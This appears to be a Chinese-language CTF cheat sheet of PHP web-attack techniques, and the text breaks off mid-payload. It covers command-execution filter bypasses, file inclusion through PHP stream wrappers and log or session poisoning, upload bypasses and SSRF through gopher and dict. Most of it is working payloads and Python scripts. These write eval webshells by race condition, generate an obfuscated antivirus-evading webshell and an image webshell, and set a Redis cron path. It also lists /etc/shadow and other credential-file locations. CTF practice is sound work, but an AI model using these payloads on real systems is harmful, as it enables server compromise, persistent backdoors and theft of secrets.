text/plain #!/bin/sh ls -----------------------------50572533318130 Content-Disposition: form-data; name="submit" upload -----------------------------50572533318130--
脚本
#coding:utf-8 import requests import re session = requests.Session() while(1): paramsGet = {"code":"?><?=`. /???/????????[@-[]`;?>"} paramsPost = {"submit":"upload"} paramsMultipart = [('fileUpload', ('1.txt', "\x23!/bin/sh\r\n\r\nid", 'application/octet-stream'))] headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","DNT":"1"} response = session.post("http://4485580e.clsadp.com/", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers) #print("Status code: %i" % response.status_code) print("Response body: %s" % response.content)
使用通配符绕过
举例
分析
由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。但因为字母不能传入,我们需要使用通配符?来进行代替?c=/bin/base64 flag.php 替换后变成 ?c=/???/????64 ????.???
payload1
?c=/???/????64 ????.???
base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有
payload2
?c=/???/???/????2 ????.???
即/usr/bin/bzip2 flag.php //把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。
payload3
session文件执行
使用无字母执行
payload
$'\154\163' 相当于ls
$'\143\141\164'%20* 相当于 cat *
第二种,异或
举例
分析
^\w+$表示在开头和末尾匹配字母数字_,传入的v3值不能有字母数字_,即无字母的命令执行。php中1-phpinfo()是可以执行的,加减乘除都可以实现。构造payload:1-system('cat f*')
payload
v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%00"^"%60%60%7c%20%60%2a");
相当于system('cat f*')
*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>
*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*
创建匿名函数
举例
分析
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 调用一个函数时直接写函数名function_name(),相当于是相对路径调用; 如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。所以post时ctf可以通过加上\绕过匹配。 找个不需要第一个参数的函数。可以用create_function匿名函数。
payload
get:?show=}system('tac f*');/* post:ctf=%5ccreate_function
构造文件包含
举例
题目
分析
通过构造文件包含来绕过限制
payload
?c=include%0a$_GET[a]?>&a=data://text/plain,<?phpsystem('id');?>
?c=include%0a$_GET[a]?%3E&a=php://input
POST传<?phpsystem('ls');?>
绕过函数
绕过eval中的var_dump
举例
题目
分析
直接给了eval()函数,所以直接绕过var_dump()就可以了,通过$a想办法闭合括号并插入system()函数即可命令执行
注意:拼接两条命令需要在一个字符串内,即同一个双引号内
eval("var_dump(s);system('ls');");
payload
?hello=s);system('ls'
文件包含 (注意看URL)
危害:任意文件读取
文件包含特征函数 (都可以进行文件包含)
file_get_contents('/etc/hosts')
include('/etc/hosts')
require('/etc/hosts')
readfile('/etc/hosts')
readfile()函数的内容可以进行目录穿越,即便使用没有的目录也可以进行包含
举例
分析
即便在看起来是一个错误路径是情况下,也是可以包含的,但需要绝对路径
payload
?f=/ctfshow../../../../var/www/html/flag.php
show_source('/etc/hosts')
highlight_file('/etc/hosts')
本地文件包含
固有文件 (用来测试是否有文件包含漏洞)
linux
/etc/hosts
windows
/windows/system32/drivers/etc/hosts
其它敏感文件路径
linux
/etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件 /root/.bash_history //历史shell命令文件 /proc/pid/cwd //当前的进程的工作目录 /proc/pid/fd //包含了当前进程打开的每一个文件 /proc/pid/cmdline //包含了进程执行的完整命令
windows
c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息
获得文件路径的方法
使用系统命令:locate 命令可以返回任意文件的路径
注意
/var/lib/plocate/plocate.db 为locate命令数据库,里面有很多敏感路径
使用系统命令:pwd可返回当前路径
路径翻越
通过叠加使用../来实现多级目录翻越
远程文件包含
思路:直接通过URL访问在远端服务器上放置payload
免杀思路:通过访问URL访问在远端服务器上放置的shellcodeloader,shellcode放置于另外文件中, 当访问shellcodeloader时并不会报毒,然后使用shellcodeloader再次包含shellcode
封闭协议利用
一图流
file://
file:///etc/hosts
glob://
基本上与file://一致,但可以进行正则匹配
payload
glob://./*.php
./*.php意为匹配当前目录下所有.php文件
php://fiilter
功能:可查看被包含的PHP文件内容
利用:php://filter/read=convert.base64-encode/resource=xx.php
最简单的利用,不需要编码
payload
php://filter/resource=flag.php
甚至可以使用不存在的编码
php://filter/ctfshow/resource=flag.php
注意除了base64编码还有其它编码
php://filter/convert.iconv.UTF-7.UCS-4*/resource=
iconv的类型 (用于爆破)
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII*
php://filter/read=convert.quoted-printable-encode/resource=flag.php
工具
PHP filter chain generator
使用方法
php_filter_chain_generator.py --chain <?php eavl($GET[A]);>
phar://
功能:对压缩包解压缩,再读取其内的文件
使用:将一句话木马.php打包成zip,再将扩展名改为phar
payload:phar://上传路径/上传文件.phar/内部文件.php
具体:?file=phar://upload/shell1.png/shell.php
shell.php为phar压缩包内的文件
注意:shell1.png实际上是一个phar文件,扩展名不重要
rar://(默认不支持)
zip://(默认不支持)
zip://zip压缩包的路径#压缩包里的文件名
payload
?file=zip://upload/shell.png%23shell
zlib://(压缩过滤器)
举例
payload1
?file=compress.zlib://flag.php
payload2
利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。
payload: file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
data://
payload
?file=data://text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD89ZXZhbCgkX1BPU1RbJ2NtZCddKT8+
直接包含一句话木马
<?=eval($_POST['cmd'])?>
绕过
通过包含本地文件的方法getshell
日志包含 (日志注入)
原理:在访问网站时,日志文件会把客户端的一些请求内容保存至日志,将一句话写入user-agent,再包含此日志文件从而getshell
中间件日志路径
apache
默认路径
Debian/Ubuntu
大概率
/var/log/apache/access.log
错误日志包含
/usr/local/apache/logs/error_log
payload
<?php fputs(fopen("shell.php","w"),'<? @eval($_POST[cmd]);?>');?>
小概率
/var/log/apache/access.log.1
Red Hat/CentOS
/var/log/httpd/access.log
非默认路径
配置日志路径的文件为/etc/apache2/apache2.conf
查找关键字CustomLog
通过phpinfo页面来查询,apache2handler 中的server root就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中
配置文件位置(通过配置文件确定日志文件位置)
/etc/init.d/httpd
/etc/httpd/conf/httpd.conf
利用
payload
?file=/var/log/apache2/access.log
user-agent
注意,在进行日志包含时,要验证目标日志文件确实为当前活动日志,否则包含之后仍无法利用
nginx
默认路径
/var/log/nginx/access.log
非默认路径
配置日志路径的文件为/etc/nginx/nginx.conf或/etc/nginx/conf.d/下的某个文件
查找关键字access_log
绕过log关键字限制
使用拼接
include"/var/lo"."g/nginx/access.lo"."g"
payload意为:将日志路径分隔成几段,使用点号进行连接,但注意,此payload需要在<?php ?>包裹中使用
SSH日志包含
原理:ssh时插入php代码,然后通过ssh日志包含从而getshell
日志路径
/var/log/auth.log
payload
ssh '<?php eval($_POST["cmd"]);?>'@192.168.136.143
包含session文件
原理:在通过URL上传一个文件时,会临时产生一个session,主要用于记录文件上传时的一些信息,这些信息是可由用户控制的。此时若给此文件写入一句话木马,通过一个文件包含漏洞就可以getshell
路径
确定路径
需要通过phpinfo()查看session.save.path获得session保存路径
若未指定,则默认路径:/tmp/
经常指定/var/lib/php/sessions/
确定文件名
命名格式:sess_sessionID
例:路径为/tmp/sess_32423mfdjslrjsm
可由用户在cookie内设置
例:
两种情况
第一种(简单)
程序把用户输入的值保存到session内,这种情况,只需要包含一下含有PHP代码的session文件即可getshell
第二种(难)
利用
具体操作
1.上传一个文件
完整 payload import requests import io f = io.BytesIO(b' ' * 1024 * 1024 * 50) requests.post('http://117.62.234.74:8201/', files={'x': ('1.txt', f)}, data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("1.txt", "1111");?>'}, cookies={'PHPSESSID':'xxxx'})
分析:先生成一个f文件,用于上传,本身无意义。files={'x': ('1.txt', f)}通过POST请求上传文件参数为x,文件名为1.txt,文件内容为生成的fdata={'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("1.txt", "1111");?>'}在session文件内部写入键名为PHP_SESSION_UPLOAD_PROGRESS,值为<?php file_put_contents("1.txt", "1111");?>的数据。cookies={'PHPSESSID':'xxxx'})指定session名为xxxx
2.构造payload在session文件内写入php代码
payload:requests.post('http://117.62.234.74:8201/', files={'x': ('1.txt', f)}, data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("1.txt", "1111");?>'}, cookies={'PHPSESSID':'xxxx'})
3.在上传过程中进行session文件的包含(存在条件竞争,不一定100%成功)
完整payload import requests i=0 while True: i += 1 res=requests.post('http://117.62.234.74:8350/', data={'cf':'/var/lib/php/sessions/hdahbcchac/sess_xxxx'},cookies={'PHPSESSID':'xxxx'}) print('%s - %s'%(i,res.status_code))
4.session文件包含成功,执行payload生成shell
在http://117.62.234.74:8201/1.txt检测是否生成1.txt
5连接webshell
直接利用
from requests import get, post from io import BytesIO from threading import Thread from urllib.parse import urljoin URL = 'https://db54e33f-5605-46a4-857b-8896ce7ae090.challenge.ctf.show/' PHPSESSID = 'shell' def write(): code = "<?php file_put_contents('/var/www/html/shell.php', '<?php @eval($_GET[1]);?>');?>" data = {'PHP_SESSION_UPLOAD_PROGRESS': code} cookies = {'PHPSESSID': PHPSESSID} files = {'file': ('xxx.txt', BytesIO(b'x' * 10240))} while True: post(URL, data, cookies=cookies, files=files) def read(): params = {'file': f'/tmp/sess_{PHPSESSID}'} while True: get(URL, params) url = urljoin(URL, 'shell.php') code = get(url).status_code.real print(f'{url} {code}') if code == 200: exit() if __name__ == '__main__': Thread(target=write, daemon=True).start() read()
绕过死亡exit
第一种情况
思路
原理主要是利用不同编码在解码时会导致die()或者exit()函数被错误解码,从而导致该函数失效,达到绕过目的
方法
使用base64编码
file_put_contents('php://filter/write=convert.base64-decode/resource=shell.php','<?php die('大佬别秀了');?>'.'ppPD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg==')
此处的pp是后加的,原因是在base64解码时只有phpdie,这些字母参与了解码,其它符号不参与解码,而base64是每4位一组进行解码,所应该补齐为4的倍数
PD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg==明文为<?php phpinfo();eval($_GET['cmd']);?>
发送请求后,会在网站根目录下生成一句话木马shell.php文件,密码cmd
使用ROT13编码
file_put_contents('php://filter/write=string.rot13/resource=shell.php','<?php die('大佬别秀了');?>'.'<?cuc @riny($_TRG[1]);?>')
<?cuc @riny($_TRG[1]);?>的明文为<?php @eval($_GET[1]);?>
路径
第二种情况
file_put_contents($content,"<?php exit();".$content);
base64
payload
php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
会在当前目录下生成s1mple.php文件并写入
PD9waHAgcGhwaW5mbygpOz8%2Bbase64解码为<?php phpinfo();?>
ROT13
payload
php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php
这里<?php phpinfo();?>的rot13编码即为<?cuc cucvasb();?>
convert.iconv.
usc-2
payload
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php
一句话木马连接密码: s1mple
原理
对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
usc-4
payload
php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php
一句话木马连接密码: s1mp
原理
进行usc-4编码转化;就是4位一反转
在linux下的payload测试
iconv -f ucs-2le -t ucs-2be decript.txt
iconv -f ucs-2be -t ucs-2le en.txt
第三种情况
file_put_contents($filename,$content . "\nxxxxxx");
在没有ban掉“php”关键字时直接写入php代码,因为php代码有特殊的开始和结束符,不会被后面所追加的内容所干扰
payload
filename=shell.php&content=<?php eval($_POST[cmd]);?>
利用.htaccess进行操作
payload
filename=.htaccess&content=php_value%20auto_prepend_file%20/flag%0a%23
php_value auto_prepend_file 是 Apache HTTP 服务器中 PHP 模块的一个配置指令,它允许你指定一个文件,该文件的内容将在 PHP 脚本执行之前自动包含(prepend)到每个 PHP 脚本中
%23解URL为#意为注释掉后的干扰字符
绕过各种符号
举例
分析:过滤了PHP则只能用data协议,使用data协议进行base64编码绕过大多数符号,但生成的base64编码内不能有=,可以通过多添加几个字符使结果没有=
payload
data://text/plain;base64,<?php eval($_GET['cmd']);phpinfo();$_GET;?>11
编码后最终payload为
data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pO3BocGluZm8oKTskX0dFVDs/PjEx&cmd=system('id');
绕过点号
远程文件包含
payload
<?=include"http://数字IP/txt"?>
数字IP意为将IP转化为10进制
需要在远程服务器上放置txt文件
txt内容为<?=eval($_POST[cmd]);?>
文件上传
目的:上传一句话木马从而getwebshell
getwebshell必要条件
上传点
具有免杀能力的一句话木马
变形
<?php $_GET[1]($_POST[cmd])?>
不死马
获得一句话木马所在路径
三要素
上传文件名
上传文件类型
上传文件内容
绕过
添加文件头GIF89a
上传检测机制
JSP前端过滤
bypass:在浏览器内设置JSP禁用即可绕过
后端Content-Type判断
bypass:通过BP抓包修改
audio/wav //wave音频流媒体文件 audio/webm //webm 音频文件格式 audio/ogg //ogg多媒体文件格式的音频文件 audio/mpeg //mpeg多媒体文件格式的音频文件 image/gif //gif图片 image/jpeg //jpeg图片 image/png //png图片 image/svg+xml //svg矢量图片 application/json //json格式 application/xml //xml格式 application/xhtml+xml //扩展html格式 application/x-www-form-urlencoded //表单url内容编码 application/octet-stream //二进制格式 application/pdf //pdf文档 application/atom+xml //atom订阅feed流 multipart/form-data //多文档格式 text/plain //普通文本 text/html //html文档 text/css //css文件 text/javascript //javascript文件 text/markdown //markdown文档 video/mpeg //mpeg多媒体视频文件 video/quicktime //mov多媒体视频文件
判断文件头
255044 PDF 526563 EML D0CF11 PPT 4D5AEE COM E93B03 COM 4D5A90 EXE 424D3E BMP 49492A TIF 384250 PSD C5D0D3 EPS 0A0501 PCS 89504E PNG 060500 RAW 000002 TGA 60EA27 ARJ 526172 RAR 504B03 ZIP 495363 CAB 1F9D8C Z 524946 WAV 435753 SWF 3026B2 WMV 3026B2 WMA 2E524D RM 00000F MOV 000077 MOV 000001 MPA FFFB50 MP3 234558 m3u 3C2144 HTM FFFE3C XSL 3C3F78 XML 3C3F78 MSC 4C0000 LNK 495453 CHM 805343 scm D0CF11 XLS 31BE00 WRI 00FFFF MDF 4D4544 MDS 5B436C CCD 00FFFF IMG FFFFFF SUB 17A150 PCB 2A5052 ECO 526563 PPC 000100 DDB 42494C LDB 2A7665 SCH 2A2420 LIB 434841 FNT 7B5C72 RTF 7B5072 GTD 234445 PRG 000007 PJT 202020 BAS 000002 TAG 4D5A90 dll 4D5A90 OCX 4D5A50 DPL 3F5F03 HLP 4D5A90 OLB 4D5A90 IMM 4D5A90 IME 3F5F03 LHP C22020 NLS 5B5769 CPX 4D5A16 DRV 5B4144 PBK 24536F PLL 4E4553 NES 87F53E GBC 00FFFF SMD 584245 XBE 005001 XMV 000100 TTF 484802 PDG 000100 TST 414331 dwg D0CF11 max
后端扩展名黑名单
bypass
.htaccess内容
先上传.htaccess文件,再上传webshell
中件间解析
<FilesMatch "x.png">SetHandler application/x-httpd-php</FilesMatch>
或
<Files ~ "\.jpg$"> SetHandler application/x-httpd-php </Files>
指定某个目录内的文件可以被当作php执行
<Directory "/path/to/uploads"> AddType application/x-httpd-php .jpg </Directory>
.user.ini
auto_prepend_file=1.txt
原理:在nginx中,.user.ini中配置auto_prepend_file=A文件,会对当前文件夹PHP文件进行自动包含A文件的内容
通过.php.文件格式
原理:.php.文件格式会在落地时将后面的点自动删除,导致文件扩展名自动改为.PHP
通过.php .文件格式
php可替换为phtml,php3,php4,php5,pht
双写php
pphphp
php变换大小写
Php
后端扩展名白名单
bypass:%00截断
例1.php%00.jpg
此处还可以尝试%20
或1.jpg%00.php
dir+%00+filename,会导致filename丢失
apache中绕过
1.php.jpg
apache中会当作php执行
缺点:只能用于低于PHP5.3版本
过滤php标签
使用短标签绕过
<?= code... ?
<?=code...?>
上传与验证的条件竞争
原理:因为是在文件上传落地之后再进行格式判断,所以在格式判断结果并删除之前,文件是在服务器上的,只要抓到文件在服务器上未被删除的空档进行访问就会getshell
操作:使用BP或脚本不停的上传木马文件,然后不停的对木马文件进行访问,总会有一个时刻木马被访问到,即上传成功
二次渲染
原理:图片上传后程序会对图片进行二次渲染,导致恶意代码失效
类型
JPG
PNG
bypass方式
使用脚本生成图片马
脚本
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'2.png'); //要修改的图片的路径 /* 木马内容 <?$_GET[0]($_POST[1]);?> */ echo "ok"; ?>
使用
GET传0=system POST传1=ls
临时文件上传
举例
分析
$a=pathinfo($filename, PATHINFO_EXTENSION)主要获得一个文件的扩展名,比如1.txt则$a=txt,可以使用1.txt/.的形式进行绕过。$_FILES是一个记录上传数据的数组,name就是上传文件名,tmp_name就是上传后的临时文件名
payload
import requests #python上传,与html上传一样效果 url = 'http://node5.anna.nssctf.cn:28916/' file_content = "<?php phpinfo();?>" #上传文件的内容 filename = 'a.php%2f%2e' #上传文件的名称 file = {'file': (filename, file_content)} response = requests.post(url, files=file) print(response.text)
上传后的利用
工具:godzilla
蚁剑
冰蝎
文件上传绕过内容检测
PHP不同写法
<?= code?>
只能是单行代码
<script language='php'>eval($_POST['cmd'])</script>
指定编程语言为PHP
绕过[]
禁[]表示不能上传一句话,所以可以直接<=?system('ls');?>来绕过
也可以用{}代替[]
<?=eval($_REQUEST{'cmd'});?>
绕过分号
<=?system('ls')?>
绕过括号
使用反引号
<=?`ls`?>
日志包含时绕过关键字log
使用字符串拼接
GIF89a <?=include"/var/l"."og/nginx/access.lo"."g"?>
上传内容绕过关键字
内容检测禁用了php
GIF89a <?=include"p"."hp://filter/convert.base64-encode/resource=flag.ph"."p"?>
免杀马
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>
密码,POST传值:TyKPuntU
反引号绕过
<?=`ls ../`;
拼接构造绕过
<?php $a="sys"."tem";$a("ls ../");
SSRF (服务端请求伪造)
工作原理:其它服务器未对web服务器数据进行身份校验,从导致用户访问WEB服务器,并从web服务器构造payload间接访问其它内网服务器
与CSRF区别
可造成SSRF的函数(可考虑内网文件读取)
file_get_contents()
前提条件allow_url_fopen=ON
fsockopen()
用于打一个网络连接,使用TCP/IP进行连接, 成功时,返回一个包含连接信息的资源句柄, 失败时,返回false
把TCP连接变为http连接要用gopher
$fp = fsockopen($hostname, $port, $errno, $errstr, 10);
意为:打开$hostname(IP)的port端口,errno连接失败时的错误码,errstr连接失败时的错误信息
curl_exec()
危害
内网端口探测
dict://127.0.0.1:3306
可能通过爆破端口来获得具体开放的端口信息
redis命令执行
dict://127.0.0.1:6379/info
本条命令意为:访问6379端口并传一条info的指令
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
内网数据读取
gopher://ip:端口 GET/POST (默认使用tcp70端口)
利用
思路:一般使用nc -lvp 9000在本地先起监听,然后使用curl在本地模拟SSRF对端服务器时的操作,以获得请求头/体,再加上gopher协议头,经两次url编码后打入目标web服务器,造成SSRF利用
使用方法
在ssrf的参数入口进行利用
举例
GET
payload:必须经过二次编码 ?url=gopher://127.0.0.1:80/_GET /flag.php HTTP/1.1 Host: 127.0.0.1:80 Connection: close
POST
?url=gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 User-Agent: curl/7.74.0 Accept: */* Content-Length: 4 Content-Type: application/x-www-form-urlencoded Connection: close x=sscx
打入时必须转URL,并且使用URL双重编码
?url=gopher://127.0.0.1:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%33%61%25%33%38%25%33%30%25%30%64%25%30%61%25%35%35%25%37%33%25%36%35%25%37%32%25%32%64%25%34%31%25%36%37%25%36%35%25%36%65%25%37%34%25%33%61%25%32%30%25%36%33%25%37%35%25%37%32%25%36%63%25%32%66%25%33%37%25%32%65%25%33%37%25%33%34%25%32%65%25%33%30%25%30%64%25%30%61%25%34%31%25%36%33%25%36%33%25%36%35%25%37%30%25%37%34%25%33%61%25%32%30%25%32%61%25%32%66%25%32%61%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%36%65%25%36%35%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%33%25%36%63%25%36%66%25%37%33%25%36%35%25%30%64%25%30%61%25%30%64%25%30%61%25%37%38%25%33%64%25%33%31%25%30%64%25%30%61%25%30%64%25%30%61
需要将payload,即粉色部分放到bp中的重放模块中编辑,否则会因缺少换行导致错误
文件上传
命令:curl http://127.0.0.1/flag.php -F "file=@/var/www/html/1.php"curl使用-F上传一个文件,指定路径时,需要加@,否则提取不到1.php的内容
payload: gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 User-Agent: curl/7.74.0 Accept: */* Content-Length: 224 Content-Type: multipart/form-data; boundary=------------------------75b95b08903a6eb0 --------------------------75b95b08903a6eb0 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: application/octet-stream <?php eval($_POST[cmd]);?> --------------------------75b95b08903a6eb0--
双重URL编码
gopher://127.0.0.1:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%33%61%25%33%38%25%33%30%25%30%64%25%30%61%25%35%35%25%37%33%25%36%35%25%37%32%25%32%64%25%34%31%25%36%37%25%36%35%25%36%65%25%37%34%25%33%61%25%32%30%25%36%33%25%37%35%25%37%32%25%36%63%25%32%66%25%33%37%25%32%65%25%33%37%25%33%34%25%32%65%25%33%30%25%30%64%25%30%61%25%34%31%25%36%33%25%36%33%25%36%35%25%37%30%25%37%34%25%33%61%25%32%30%25%32%61%25%32%66%25%32%61%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%32%25%33%32%25%33%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%25%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%33%37%25%33%35%25%36%32%25%33%39%25%33%35%25%36%32%25%33%30%25%33%38%25%33%39%25%33%30%25%33%33%25%36%31%25%33%36%25%36%35%25%36%32%25%33%30%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%33%37%25%33%35%25%36%32%25%33%39%25%33%35%25%36%32%25%33%30%25%33%38%25%33%39%25%33%30%25%33%33%25%36%31%25%33%36%25%36%35%25%36%32%25%33%30%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%36%25%36%39%25%36%63%25%36%35%25%32%32%25%33%62%25%32%30%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30%25%32%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%36%66%25%36%33%25%37%34%25%36%35%25%37%34%25%32%64%25%37%33%25%37%34%25%37%32%25%36%35%25%36%31%25%36%64%25%30%64%25%30%61%25%30%64%25%